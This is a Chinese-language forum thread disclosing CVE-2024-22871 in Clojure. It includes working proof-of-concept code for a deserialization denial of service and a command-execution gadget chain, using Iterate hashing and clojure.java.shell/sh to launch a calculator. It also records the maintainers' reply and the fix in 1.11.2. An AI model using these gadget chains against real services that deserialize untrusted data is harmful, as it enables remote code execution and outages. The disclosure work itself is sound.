请在 2024 年 Clojure 状态调查! 中分享您的想法。

欢迎!有关此平台的工作方式,请参阅 关于 页面获取更多信息。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中,存在以下漏洞:
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

注意,不需要额外组件即可利用此漏洞。

详情
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

已在 Clojure 1.11.2 和 1.12.0-alpha9 中发布,备注: 已关闭
如以下所讨论,拒绝服务攻击可能影响 1.2.0-1.12.0,并且带有本地验证的命令执行可能影响 1.9.0-1.12.0
在我看来,一些当前问题与以下情况类似,但是是绕过的新方法。


https://clojure.atlassian.net/browse/CLJ-2204

编辑了
我不明白,这与Clojure有什么关系?既然它全部都是Java,这似乎很矛盾?

更新:我是否正确理解了,你可以在不使用Clojure的情况下用Java实现相同的功能?
没有处理正确,函数调用图部分依赖于Clojure,例如apply,RestFn等。通过在Clojure 1.9.0-1.12.0版本中(在clojure版本poc中)访问匿名函数类,可以获取$fn_5920。

1 答案

+3

被选中
 
最佳答案

在不受信任的数据上使用ObjectInputStream具有固有的危险性,正如该类的文档所说。为什么展示这个类的危险被认为是提供一些使用该类的JAR包的漏洞?

为未来读者提供了一个更简单的方式来重现

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
图片不可用
编辑
另一种生成命令执行攻击的方式

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
图片不可用
需要注意的是,在仅设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 后,它将影响 1.9.0 - 1.12.0 版本,并且可以实现命令执行。
我不确定您最后评论的意思。`clojure.java.shell`命名空间中的`sh`函数用于从shell执行并运行命令,因此当然可以用它来运行东西。命令执行机制仍然依赖于`Iterate`类实现的哈希方式。
这是因为我在前一个版本中使用了`process $ start`,但遗憾的是这是一个在1.12.0版本中引入的新功能;后来检查项目,发现可以用shell函数直接运行命令。是的,在`Iterate`类的哈希计算中仍然存在问题。
此问题已在1.11.2和1.12.0-alpha9中对`Iterate hashCode()`进行修复。
...